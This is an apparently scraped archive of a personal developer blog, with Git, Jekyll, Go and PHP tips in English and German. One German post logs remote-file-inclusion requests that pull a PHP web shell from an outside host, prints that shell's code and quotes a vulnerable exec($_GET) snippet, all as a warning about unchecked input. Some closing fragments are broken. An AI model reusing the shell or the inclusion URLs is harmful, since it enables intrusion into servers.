The Pull Request Hack
Whenever somebody sends you a pull request, give them commit access to your project.
Whenever somebody sends you a pull request, give them commit access to your project.
In the Conventional Commits article, Mike Perham explains how git commit templating can be used to support commit message consistency.
The key part is the template
statement in the ~/.gitconfig
:
[commit] template = ~/.gitmessage
This references the ~/.gitmessage
file which is used as template for every new commit message.
For Conventional Commits, the following can be useful:
# type(subsystem): short description ### Types # feat: A new feature # fix: A bug fix # docs: Documentation only changes # build: Changes that affect the build system or external dependencies # ci: Changes to our CI configuration files and scripts # perf: A code change that improves performance # refactor: A code change that neither fixes a bug nor adds a feature # style: Changes that do not affect the meaning of the code # test: Adding missing tests or correcting existing tests
In Re-ordering Git commits, Cassidy Williams explains nicely how interactive Git rebasing can be used to re-order Git commits.
TL;DR:
git rebase -i HEAD~4
I upgraded the blog to the newest Jekyll 4.4.0 which was released yesterday.
Unfortunately this first resulted in the following segfault while running jekyll build
🙈
/usr/gem/gems/sass-embedded-1.83.4/ext/sass/embedded_sass_pb.rb:11: [BUG] Segmentation fault at 0x0000000000004410 ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [x86_64-linux-musl]
Turns out that this is a known problem of the google-protobuf gem (which is used by jekyll-sass-converter which is part of the default Jekyll).
Luckily there is a workaround.
Adding the following to my Gemfile
fixed it 🎉
gem 'google-protobuf', force_ruby_platform: true if RUBY_PLATFORM.include?('linux-musl')
terra tauri quotes from the Platform Engineering book:
If you only promote people who solve big technical problems, you’re going to have a hard time retaining the people who do the work to smooth out the usability edges, actively listen to the customer teams, and adjust their work priorities to fix the stuff that is causing the most pain. So, look closely at what you are celebrating, compensating, and promoting, and make sure you are including work that makes the product better, whatever that looks like, even if it isn’t the hardest technical bits. You may even want to reevaluate your engineering ladder to make sure the expectations at each level reflect all of the skills you now demand. Remember, this is a cultural change, and cultural changes that don’t involve changes to what is valued (as seen by what you recognize and reward) are destined to fail.
Looks like this might be a candidate for my /reading list.
(via)
Golang caches downloaded modules including unpacked source code of versioned dependencies in $GOPATH/pkg/mod.
Naturally this cache grows over time.
It can be cleaned up with the following command:
go clean -modcache
- Separate subject from body with a blank line
- Limit the subject line to 50 characters (I often break this when there’s no message body)
- Capitalize the subject line
- Do not end the subject line with a period
- Use the imperative mood in the subject line
- Wrap the body at 72 characters
- Use the body to explain what and why vs. how
(via)
In his writing secure Go code article, Jakub Jarosz lists tools that help with writing secure Go code.
The article lists the tools and for each of them explains what it does and how it contributes to writing secure Go code.
The following tools are covered:
go vet
staticcheck
golangci-lint
go test -race
govulncheck
gosec
An interesting learning for me whas that govulncheck
can not only be used to analyze source code, but also to analyze existing binaries.
And there it scans the used libraries for vulnerabilities and wether the vulnerable code paths are actually invoked by the code in the binary.
In the build pipelines of my Go programs, some of these tools are already used.
Room for improvement exists when it comes to using the govulncheck
and gosec
tools.
Another lonely winter weekend task :-)
Found this cute snippet in the Makefile of the NumWorks Epsilon codebase. It is a rudimentary implementation of the cowsay functionality.
We also see how it is used in the clena: cowsay_CLENA clean
part.
I like how it reminds about the typo when calling the clena
instead of the clean
target.
It gives a clear but unintrusive message about the typo, and then also does what was intented (running the clean
target).
.PHONY: cowsay_% cowsay_%: @echo " -------" @echo "| $(*F) |" @echo " -------" @echo " \\ ^__^" @echo " \\ (oo)\\_______" @echo " (__)\\ )\\/\\" @echo " ||----w |" @echo " || ||" .PHONY: clena clena: cowsay_CLENA clean
For some time now, I'm notifying blo.gs about changes in the blog. After looking a bit into how search engines percieve my website recently, I learned that they also have some notification mechanisms for new pages/blogposts.
Thus I upgraded the oneliner into a dedicated script to notify external services about changes in the blog.
It is optimized for my Jekyll setup, where the generated pages in the _site folder are stored in git.
The notification ignores changes to summarized pages like rss.xml etc to only trigger notifications when there are changes in the original blog posts.
Here's the script, feel free to re-use (it expects to have MYDOMAIN, INDEXNOW_API_KEY and BING_API_KEY defined as environment variables):
#!/bin/bash set -e set -u set -o pipefail CHANGES="$(git diff --name-only HEAD HEAD~1 -- _site)" # early abort if no changes on _site if [ -z "$CHANGES" ] ; then echo "No changes in _site found" exit 0 fi # build URL list URLLIST="\"https://${MYDOMAIN}/\"" for f in $CHANGES ; do case "$f" in _site/robots.txt|_site/humans.txt|_site/about.html|_site/rss.xml|_site/atom.xml|_site/feed.json|_site/sitemap.xml) continue ;; *) url=$(echo "$f"|sed -e "sX^_siteXhttps://${MYDOMAIN}X") URLLIST="${URLLIST},\"${url}\"" ;; esac done if [ "\"https://${MYDOMAIN}/\"" = "$URLLIST" ] ; then echo "No relevant changes in _site found, skipping notifications" exit 0 fi # notify ping.blo.gs (Automattic) about updates curl --fail -s -D - -X POST http://ping.blo.gs -H 'content-type: text/xml' --data "<?xml version=\"1.0\"?><methodCall><methodName>weblogUpdates.extendedPing</methodName><params><param><value>x-log</value></param><param><value>https://${MYDOMAIN}/</value></param><param><value></value></param><param><value>https://${MYDOMAIN}/rss.xml</value></param></params></methodCall>" # report changed URLs to indexnow, include /indexnow canary URL curl --fail -s -D - -X POST https://api.indexnow.org/IndexNow -H 'content-type: application/json; charset=utf-8' --data "{\"host\":\"${MYDOMAIN}\",\"key\":\"${INDEXNOW_API_KEY}\",\"urlList\":[${URLLIST},\"https://${MYDOMAIN}/indexnow\"]}" # report changes URLs to bing, include /bingsubmit canary URL curl --fail -s -D - -X POST "https://ssl.bing.com/webmaster/api.svc/json/SubmitUrlbatch?apikey=${BING_API_KEY}" -H 'content-type: application/json; charset=utf-8' --data "{\"siteUrl\":\"https://${MYDOMAIN}\",\"urlList\":[${URLLIST},\"https://${MYDOMAIN}/bingsubmit\"]}"
Thanks to this post on Hacker News, I was reminded of the joy of regex crosswords :-)
Nice to see that the regexcrossword.com site has gained quite a list of puzzles and challenges since the last time I blogged about it.
Also very cool is the RegEx Crossword project of Jimb Esser, which provides a very smooth interface for solving hexagonal regex crosswords in the browser.
I remember solving the original MIT hexagonal regex crossword on paper back in the time.
And in addition there is a built-in editor which allows you to create your own hexagonal regex crosswords.
Thinking of using this to create some fun puzzle for the colleagues at work.
Recently I added a Generator section to the about page with minimal information about how this page was generated.
As part of this it now also shows the version of the Jekyll software that was used to generate everything.
Surprisingly there seems to be no built-in way to get the version as a template tag.
Thus I wrote this mini-plugin to provide such a {% jekyll_version %}
tag that can be used to get the version of Jekyll while it is processing the pages.
To use it with your own Jekyll, simply store the below code in a _plugins/jekyll_version_plugin.rb
file.
# frozen_string_literal: true module Jekyll class VersionTag < Liquid::Tag def render(context) Jekyll::VERSION end end end Liquid::Template.register_tag("jekyll_version", Jekyll::VersionTag)
While browsing posts from the past on the On this day page, I saw the one about blog.gs from 2002.
Turns out the blog.gs ping mechanism is still working in exactly the same way after all these years (nowadays operated by Automattic).
As I don't run my blog with PHP anymore, I added the following step at the end of my deploy script.
It uses curl
to peform the XML-RPC call of the weblogUpdates.extendedPing
API with the parameters for my weblog.
curl -X POST -v ping.blo.gs -H 'content-type: text/xml' --data '<?xml version="1.0"?><methodCall><methodName>weblogUpdates.extendedPing</methodName><params><param><value>x-log</value></param><param><value>https://blog.x-way.org/</value></param><param><value></value></param><param><value>https://blog.x-way.org/rss.xml</value></param></params></methodCall>'
Migrations are not something you can do rarely, or put off, or avoid; not if you are a growing company. Migrations are an ordinary fact of life.
Doing them swiftly, efficiently, and -- most of all -- *completely* is one of the most critical skills you can develop as a team.
— Charity Majors (via)
What if Marie Kondo would become a software engineer?
Ben Buchanan did run a parody account on this topic and has archived the posts on his site.
There are some gems :-)
To choose what to keep and what to throw away, take each dependency in one's manifest and ask: "Does this spark joy?" If it does, keep it. If not, remove it from your codebase.
We should be choosing what to
.gitkeep
, not what we want to.gitignore
Cruft has only two possible causes: too much effort is required to refactor or it is unclear where things belong.
Modern Git Commands and Features You Should Be Using — a short article from Martin Heinz about some new-ish (>2018) features in Git, that 'can make your life so much easier'.
TL;DR:
git switch <branchname>
git restore --staged <somefile>
git restore --source <commit> <somefile>
git sparse-checkout
git worktree
git bisect
Similar post from five years ago: More productive Git
In the The High-Risk Refactoring article there is this concise Addressing Risk checklist to keep in mind when refactoring.
During past refactorings (also low-risk ones) I often used almost the same guidelines to help me and can only recommend you to do the same:
✅ Define constraints. How far should I go.
✅ Isolate improvements from features. Do not apply them simultaneously.
✅ Write extensive tests. Higher level (integration) with fewer implementation details. They should run alongside changes.
✅ Have a visual confirmation. Open the browser.❌ Do not skip tests. Don't be lazy.
❌ Do not rely too much on code reviews and QA. Humans make mistakes.
❌ Do not mix expensive cleanups with other changes. But do that for small improvements.
(via)
Some time ago I used an online tool to generate some QR codes with a contact URL so I can put them on my luggage.
Now I got a new bag and need a new QR code for it. As I don't remember the online tool I used years ago, I decided to write my own tool.
Thus say hello to qr-bag. It's a commandline tool written in Go to generate QR codes for URLs with a little logo in the middle.
The code for it is mostly a wrapper around the go-qrcode library which does all the heavy lifting.
Ralf tooted a nice and tidy git log output alias for the console:
alias glg="git log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit"
Turns out that signed 32-bit numbers can be exhausted long before Y2038, when you use them to store time in YYMMDDHHMM format. (via)
Received a badge from GitHub's Open Source on Mars initiative :-)
More productive Git — a short article from James Turnbull with 'Tips for acquiring Git super powers'.
TL;DR:
git reset <filename>
git cherry-pick <commitid>
git commit --amend
git stash
git log --stat
git bisect
Engineering Management: The Pendulum Or The Ladder — a well written article from Charity Majors about the non-trivial entanglement between engineering and management, explaining how doing everything at the same time does lead to unhappy/un-fulfilled people. Also worth reading in this context is the prequel article The Engineer/Manager Pendulum.
Happy 2019! I have learnt a new Vim trick:
When searching for some pattern with / (eg. /mystring), often the next step is to perform a replacement command.
Now instead of re-typing the whole string, you can directly enter the substitution command with an emtpy search-pattern (:%s//newstring/), Vim then automatically re-uses the previous search pattern.
(via)
The Swiss Army Knife of Hashmaps — a very nice article from Ravi Shankar explaining how Google's SwissTable concept was implemented for Rust.
The following definition of an Array works without problems in Safari (and probably Firefox too), but triggers an (legitimate) error in Opera 9.25:
var myArray = [ 1.2, 2.3, 3.4, ];
The error is triggered by the superfluous comma after the last element of the Array. It may be argued for both behaviors, but I would prefer all Browsers accepting such an Array definition also since in other languages (C, Python, PHP) such a redundant comma does not cause any trouble.
void main(){puts("Hello World.\n");}
Coding Horror: Programmers Don't Read Books -- But You Should
Python Webserver in 1 line:
python -c "import SimpleHTTPServer; SimpleHTTPServer.test()"
Python Webserver in 15 lines:
import BaseHTTPServer class WebRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(self): if self.path == '/foo': self.send_response(200) self.do_something() else: self.send_error(404) def do_something(self): print 'hello world' server = BaseHTTPServer.HTTPServer(('',80), WebRequestHandler) server.serve_forever()
I really, really should have known the * command earlier.
Erlang processes don't share memory, so there is no need to lock the memory while it is being used. Where there are locks, there are keys that can get lost. What happens when you lose your keys? You panic and don't know what to do. That's what happens in software systems when you lose your keys and your locks go wrong.
Distributed software systems with locks and keys always go wrong.
Erlang has no locks and no keys.
Heute jedenfalls: um meine Linksammlung in Zukunft besser vor Spammern zu schützen, habe ich Scuttle ein bisschen erweitert:
Um den Adminbereich nutzen zu können muss in der Datenbank noch ein Feld uAdmin
vom Typ TINYINT(1)
zur Tabelle sc_users
hinzugefügt werden. Danach dieses einfach auf 1
setzen um einen Benutzer zum Administrator zu machen.
Da es mir gestern Abend etwas langweilig war, habe ich mich ein bisschen im C Programmieren geübt, schliesslich sollte ich darin fit sein wenn ich im Herbst mein Semesterprojekt beginne.
Dabei ist ein kleines Programm entstanden, das den HTTP-Header einer Website ausgibt: httphead.c
Seit gestern haben hier die Spam-Kommentare massiv zugenommmen (sprich 40-50 anstelle von 0-10 pro Tag). Zudem werden sie nicht mehr über den ganzen Tag verteilt abgegeben sondern fast alle innerhalb der gleichen 5-10 Minuten.
Glücklicherweise habe ich schon vor einiger Zeit meinen "naiven" Badword-Filter durch einen Bayes'schen Spamfilter ersetzt, der bisher alle(!) Spam-Kommentare erkannt und markiert hat.
Aber es ist trotzdem ärgerlich immer die als Spam markierten
Kommentare zu löschen (momentant habe ich noch nicht genügend Vertrauen
in den Filter als dass ich ihn die Spam-Kommentare automatisch löschen
lasse).
Da die Anzahl der hier vorhandenen Kommentare nicht gerade enorm ist, habe ich um den Spamfilter zu trainieren auch noch die Seiten meines spamgeplagten Wikis hinzugenommen. Auch dort funktioniert die Spamerkennung nach anfänglichen Schwierigkeiten (False-positives) problemlos.
Dieses "Wundermittel gegen den Spam" habe ich nicht etwa selber entwickelt sondern ich habe einfach die Spam Filter Klasse von PHPClasses.org an meine Bedürfnisse angepasst.
Allen Spamgeplagten kann ich den Einsatz eines Bayes'schen Spamfilters sehr empfehlen!
Since this weblog received about 100 spam comments last week, i implemented a simple spam-filter based on a badwords list.
If a comments text contains more than four occurences of the following
words, it won't get added and the user is redirected to the mainpage.
Thanks to very specific spam content, it only needs a small list of badwords to detect the spam.
This is just a simple anti-spam mechanism, but for now it works perfect and i hope it remains so for a long time :-)
As an exercice for the algorithm test of next monday i implemented some algorithms in C.
There are:
The source code is available under the BSD License:
rl
and rs
are two small command-line programs written in C.
rl
removes starting line(s) from stdin.rs
reverses it's input.The source code is available under the BSD License:
Bisher wurden die Einträge der Indexseite mit diesem SQL-Statement abgefragt:
SELECT w.*, a.nick AS nick, cat.name AS categoryname,
count(c.id) AS comments,
l.name AS languagename, l.code AS lc
FROM `x-log_weblog` AS w, `x-log_authors` AS a,
`x-log_languages` AS l, `x-log_categories` AS cat
LEFT JOIN `x-log_comments` AS c ON w.id = c.posting
WHERE a.id = w.author
AND cat.id = w.category
AND w.date <= NOW()
AND w.public = '1'
AND w.language & l.id > 0
GROUP BY w.id
ORDER BY w.date DESC
Doch seit Hostpoint auf MySQL 4.1.10a umgestellt hat, stimmt die Anzahl der Kommentare nicht mehr.
Nach diversen erfolglosen Versuchen die LEFT JOIN
Anweisung zu ändern, habe ich in einem Bugreport eine Lösung gefunden:
count(DISTINCT c.id)
Mangels spezifischer Kenntnisse kann ich nicht beurteilen ob das nun ein Bug oder ein Feature ist. Aber da mehrere Bugreports dazu existieren scheint es eher ein Bug zu sein.
A month ago or so, someone spammed my Wiki with asian links. This overwrote all my data because PhikiWiki doesn't have a backup-mechanism or a versioning system. Since i had a backup of the webserver, i could restore the Wiki. But i didn't want to restore manually the backup via FTP each time someone overwrites my Data.
So i built a versioning system based on rcs
. I've searched the write and read functions in the code and added just an co
before the read function and a ci
before the write function.
Now each time someone changes a document, it's stored as a new
version of the document. The different versions are made accesible by
the r=
GET-parameter (example: version 1.38 and 1.50 of FrontPage).
If now someone fills my Wiki with spam, i can just load the last good
version and store it as the new version. No need to replay a backup via
FTP.
The syntax of PhikiWiki doesn't have enough features for my needs, so i decided to use Markdown instead. I just removed all the formatting stuff of phiki and added a simple Markdown($txt);
call.
Wie immer in den Ferien bastle ich ein bisschen an meinem Weblog rum.
Dem allgemeinen Trend folgend, werden hier nun auch Gravatare unterstützt (Das sind die kleinen Bildchen, welche anhand der E-Mail Adresse angezeigt werden. Beispiel). Wer noch keinen hat, einfach bei gravatar.com die E-Mail Adresse registrieren, Bild hinaufladen fertig :-)
Seit Anfang dieses Jahres gibt es hier nebst deutschen und französischen Inhalten auch noch englische Beiträge. Bei den Einstellungen, kann man sich eine beliebige Kombination zusammenmixen.
Das Admininterface habe ich mit Hilfe von xmlHTTPRequest um einen JavaScript TrackBack
Client erweitert.
Leider erlaubt Mozilla keine xmlHTTPRequests auf eine
andere als die eigene Domain, was die Nutzung sehr einschränkt. Aber
vielleicht folgt Mozilla in Zukunft dem Beispiel von Safari und erlaubt
GET-Requests auf beliebige Domains.
Angeregt durch Gordons Smarty Posting gibts es hier nun auch einen Eintrag über Template Systeme und ein paar interessante Links.
Angefangen hat das mit den Templates, als ich vor 2 Jahren die Website für meine Klasse des Gymnasiums gemacht habe. Damals benutze ich die P.E.T. Template-Engine von Andreas Demmer.
In der damals top-aktuellen Version 1.5 musste man Template-Tags in einer etwas unhandlichen Form benutzen: <!-- {tag} -->
Als ich vor einem Jahr mein Weblog komplett neu programmierte,
wollte ich auch ein Template-System benutzen, aber ohne so umständliche
Tags.
Inspiriert von diesem Artikel
habe ich eine PHP-Klasse programmiert, welche eigentlich nichts anderes
macht, als ein paar Variablen zu speichern und eine Template-Datei zu
inkludieren. Die Template-Tags sind auf <?=$tag;?> geschrumpft
und man kann die ganze Vielfalt von PHP nutzen ohne die Template-Datei
speziell zu parsen.
Im letzten Sommer habe ich einen Ferienjob gesucht und mich auf eine Ausschreibung des KIS gemeldet. Als Anforderung wurden unter anderem Smarty Kenntnisse genannt, und so habe ich mir einen Abend Zeit genommen und mich in Smarty hineingearbeitet.
Früher habe ich mich etwas vor Smarty gedrückt, weil es mir etwas schwerfällig schien mit Template-Kompilierung, Caching etc.
Doch
seit ich mich intensiv damit beschäftige und auch entdecken durfte,
dass die kompilierten Templates eigentlich genau meinem
"include"-Template System entsprechen, habe ich meine Meinung geändert.
Nun setzte ich Smarty auch bei eigenen Projekten ein.
Hier noch ein paar gesammelte Links zu Smarty:
Seit heute Abend bekomme ich von folgenden Hosts etwas 'spezielle' HTTP Anfragen, welche hier zum Glück wirkungslos sind:
Dazu sunflyer.ch:
Beeindruckend ist die Anzahl von Opfern, die irgendwie sowas in ihren Sourcen haben müssen.
<?php
foreach ($_GET as $_get) {
exec ($_get);
}
?>
Wie schon angekündigt haben wir im Programmieren ein Projekt gemacht, welches nun letzten Sonntag fertig wurde. Herausgekommen ist ein kleines Bomberman-Spiel, welches man hier herunterladen kann (für Interessierte gibts hier noch die Sourcen).
Das Spiel hat ziemlich viele Bugs und Fehler, welche vor allem daher kommen, dass wir die ganze Spiel-Engine von den Assistenten geliefert bekammen. Die Engine ist jedoch ohne ein intelligentes Design, mit lauter Fehlern und Exceptions und in einem schrecklichen Code-Stil gemacht worden. So braucht beispielsweise der Konstruktor der Klasse, welche die Netzwerk-Sockets erstellt, eine Referenz auf ein GUI-Element um allfällige Netzwerkfehler direkt dorthinein zu schreiben!
Und auch die langen Wartezeiten beim starten von Spielen sind nur da, weil die Engine mit vielen NullPointer-Exceptions abstürzt wenn ein Spiel in Echtzeit gestartet wird!
Programmiert haben wir eigentlich "nur" die künstliche Intelligenz, den Leveleditor und das Fenster um die verschiedenen Spieltypen auszuwählen (Ursprünglich musste der Benutzer mittels Kommandozeile die einzelnen Clients und Server starten und miteinander verbinden!).
Wer keinen Fernseher hat, kann im Simulationsmodus schauen wie die künstliche Intelligenz gegen sich selbst spielt. Das kann durchaus eine abendfüllende Spielzeit annehmen!
Auf phpPatterns() findet man viele Artikel zu Patterns und Objektorientierter Programmierung.
Wer mit Mozilla unterwegs ist, kann dort auch den XUL Viewer ausprobieren.
http://waterwave.ch/weblog/detail.php?label=http://cliente.escelsanet.com.br/metallz/cmd.jpg?&cmd=ls%20/;uname%20-a;w http://waterwave.ch/weblog/index.php?cat=http://cliente.escelsanet.com.br/metallz/cmd.jpg?&cmd=ls%20/;uname%20-a;w
Na, billige XSS-Attacke falsch angewendet.
In http://cliente.escelsanet.com.br/metallz/cmd.jpg steht übrigens dieser PHP-Code.
</center><font size="2"><pre>- <? if (isset($chdir)) @chdir($chdir); ob_start(); system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); $output = ob_get_contents(); ob_end_clean(); if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output)); ?>
Merke: Immer alle nicht vertrauenswürdigen Input-Daten (e.g. alle per POST, GET, COOKIE übermittelten Daten) kontrollieren. Sehr oft werden hierzu Character type functions eingesetzt.
Hier ist ein kleines Skript, welches in einem (X)HTML-Text nach Akronymen sucht und diese mit ihrer Definition ersetzt. Die Akronyme werden als assoziatives Array übergeben und können nicht nur die Definition sondern auch andere Attribute wie z.B. die Sprache mitbringen. Das Skript ersetzt nur Text ausserhalb von HTML-Tags und ersetzt keine Akronyme die schon mit dem entsprechenden Tag ausgerüstet sind.
Zusätzlich gibt es einen Anständigen Modus, in dem Akronyme nur ersetzt werden, wenn sie nicht in einem Wort integriert sind, sondern durch ein Zeichen davon getrennt sind. Die Trennzeichen werden auch als Parameter übergeben. So wird beispielsweise PHPprogrammierer im anständigen Modus nicht ersetzt, hingegen PHP-Programmierer schon.
Einfach mal anschauen, vielleicht kanns ja sonst noch jemand gebrauchen.
Uff, Glück gehabt. Die erwähnten Punkte habe ich fast alle berücksichtigt, und die ausgelassenen Sicherheitslücken funktionieren mit der hier installierten PHP-Version nicht mehr :-)
Via absolut-marc.de
Kann mir jemand den Gedanken hinter folgendem Verhalten von XML_RPC erklären?
Ich bin dabei, einige XML-RPC Webservices in PHP zu programmieren. Leider gabs immer eine Fehlermeldung wenn ich eine bestimmte Funktion aufrufe.
Zuerst suchte ich den Fehler in der Funktion beim XML-RPC-Server. Jedoch funktionierte die problemlos. Danach habe ich eine Ewigkeit mit den via XML-RPC übergebenen Parameter herumgespielt, hat jedoch nichts gebracht.
Dann habe ich in der XML-RPC-Klasse das Debug-Flag aktiviert. So konnte ich herausfinden, dass der XML-RPC-Server die Ausgabewerte der Funktionen übergibt, was ja auch so sein muss. Das Debug-Flag machte auch, dass im XML-RPC-Client die empfangenen XML-Daten ausgegeben werden. Diese entsprachen den vom Server gesendeten. Doch leider gab mir das Debug-Flag keine Information warum das Parsen der XML-Daten fehlschlug.
So habe ich mir mal den Code der XML-RPC-Klasse angeschaut und habe dort eine Funktion error_log entdeckt. Diese Funktion ist in PHP eingebaut und sendet eine Fehlermeldung. Nach dem Studium der Dokumentation habe ich herausgefunden, dass die Fehlermeldungen damit in den Error-Log vom Apache geschrieben werden!
Also habe ich mir /var/log/apache2/error_log vorgenommen. Darin fand ich Fehlermeldungen des XML-Parsers, der sich über ein invalid token beschwerte!
Nach längerem Herumexperimentieren mit den Eingabewerten, fand ich heraus, dass der XML-Parser an einem nicht enkodierten Umlaut scheiterte.
Da ich Umlaute nicht mehr enkodiere, sondern einfach das entsprechende encoding="iso-8859-15" Attribut setzte, kontrollierte ich zuerst den XML-Header, wie er von der XML-RPC-Klasse generiert wird. Dort fand ich dann auch den Fehler: es wird kein encoding Attribut erzeugt.
Warum werden nicht alle Umlaute etc. automatisch enkodiert, wenn kein encoding Attribut mitgeliefert wird?
Warum gibt es ein Debug-Flag, aber Fehlermeldungen werden trotzdem nicht ausgegeben sondern weiterhin nur nach /var/log/apache2/error_log geschrieben?
Nun findet man hier auch diverse RSS-Feeds und es ist auch möglich mittels TrackBack seine Meinung mitzuteilen.
Feeds
So, nun sind auch die Erweiterungen, welche ich während der letzten Woche offline geschrieben habe, mehr oder weniger erfolgreich integriert.
Erwähnenswerte neue Features:
Nun sind wieder ein paar alte Features zum Vorschein gekommen :-)
Dabei hat mir PHP den Weg nicht gerade leicht gemacht. Angenommen, man will ein Array in einem Cookie speichern indem man serialize() und unserialize() benutzt, könnte folgender Code entstehen.
function saveData ( $data ) { setcookie('cookiename', serialize($data), time()+3600*24*100); } function loadData () { return unserialize($_COOKIE['cookiename']); }
Das funktioniert aber leider nicht. Damit es funktioniert muss noch stripslashes() benutzt werden.
function saveData ( $data ) { setcookie('cookiename', serialize($data), time()+3600*24*100); } function loadData () { return unserialize(stripslashes($_COOKIE['cookiename'])); }
Heute haben wir im Java-Programmieren mit GUI-Programmierung angefangen. Die Exercices waren simpel (Buttons erzeugen, ausrichten etc.), jedoch hatte es als Zusatzaufgabe noch die Kochsche Kurve.
import java.awt.*; import java.awt.event.*; import javax.swing.*; /** * Kochsche Kurve * * @author Andreas Jaggi * @created 26. März 2004 * @version 1.0 */ public class KochscheKurve extends JFrame { /** * Constructor for the KochscheKurve object */ public KochscheKurve() { setSize( 600, 600 ); setTitle( "Die Kochsche Kurve" ); } /** * Überladene "interne" Methode, die aufgerufen wird, wenn das Fenster neu * gezeichnet werden muss * * @param g Graphik-Objekt, auf dem gezeichnet wird */ public void paint( Graphics g ) { super.paint( g ); double x1; double x2; double x3; double y1; double y2; double y3; int depth = 13; x1 = 100; y1 = 400; x2 = 500; y2 = 400; x3 = ( x2 - x1 ) * Math.cos( -Math.PI / 3 ) - ( y2 - y1 ) * Math.sin( -Math.PI / 3 ) + x1; y3 = ( x2 - x1 ) * Math.sin( -Math.PI / 3 ) + ( y2 - y1 ) * Math.cos( -Math.PI / 3 ) + y1; koch( g, depth, x2, y2, x1, y1 ); koch( g, depth, x1, y1, x3, y3 ); koch( g, depth, x3, y3, x2, y2 ); } /** * Rekursive Funktion, welche den Fraktal zwischen zwei Punkten bis zu einer * bestimmten Tiefe zeichnet. * * @param g Graphik-Objekt, auf dem gezeichnet wird * @param depth Rekursionstiefe * @param x1 X-Koordinate des ersten Punktes * @param y1 Y-Koordinate des ersten Punktes * @param x2 X-Koordinate des zweiten Punktes * @param y2 X-Koordinate des zweiten Punktes */ public void koch( Graphics g, int depth, double x1, double y1, double x2, double y2 ) { double x13 = x1 + ( x2 - x1 ) / 3.0; double x23 = x1 + 2.0 * ( x2 - x1 ) / 3.0; double y13 = y1 + ( y2 - y1 ) / 3.0; double y23 = y1 + 2.0 * ( y2 - y1 ) / 3.0; double xd = ( x23 - x13 ) * Math.cos( -Math.PI / 3 ) - ( y23 - y13 ) * Math.sin( -Math.PI / 3 ) + x13; double yd = ( x23 - x13 ) * Math.sin( -Math.PI / 3 ) + ( y23 - y13 ) * Math.cos( -Math.PI / 3 ) + y13; if ( depth > 0 ) { koch( g, depth - 1, x1, y1, x13, y13 ); koch( g, depth - 1, x13, y13, xd, yd ); koch( g, depth - 1, xd, yd, x23, y23 ); koch( g, depth - 1, x23, y23, x2, y2 ); } else { g.drawLine( (int) x1, (int) y1, (int) x2, (int) y2 ); } } /** * The main program for the KochscheKurve class * * @param args The command line arguments */ public static void main( String[] args ) { KochscheKurve graf = new KochscheKurve(); graf.setVisible( true ); graf.addWindowListener( new WindowAdapter() { public void windowClosing( WindowEvent e ) { System.exit( 0 ); } } ); } }
#!/usr/bin/perl # # 2003 by x-way - http://waterwave.ch/weblog # # Add this to your menu, if you have pekwm's dynamic menu support: # # SubMenu = "Backgrounds" { # Entry { Actions = "Dynamic /path/to/this/file /path/to/your/wallpapers" } # } # use warnings "all"; use strict; print("Dynamic {\n"); for(my $i = 0; $i < scalar(@ARGV); $i++) { my $dir = $ARGV[$i]; opendir(DIR, "$dir") || die "Can't opendir $dir: $!"; my @backgrounds = grep { (! /^\./) } readdir(DIR); closedir DIR; foreach my $x (@backgrounds) { my $y = $x; $y =~ s+.*/++g; if(! -d "$dir/$x") { $y =~ s/\..*$//g; $y =~ s/_[0-9]{3,4}x[0-9]{3,4}//g; print("Entry = \"$y\" { Actions = \"Exec xsetbg -center $dir/$x \" }\n"); } else { print("Submenu = \"$y\" {\nEntry { Actions = \"Dynamic $0 $dir/$x\" }\n}"); } } } print("}\n");
$layout = new layout('plain', 1,);
funktioniert definitiv nicht.header("Location: suche.php?q=".$GoogleQuery);umleiten kann. Weshalb das? Damit die Links von Google, welche manchmal auf Einträge zeigen, die nicht mehr auf der index.php sind, für den Benutzer doch etwas bringen.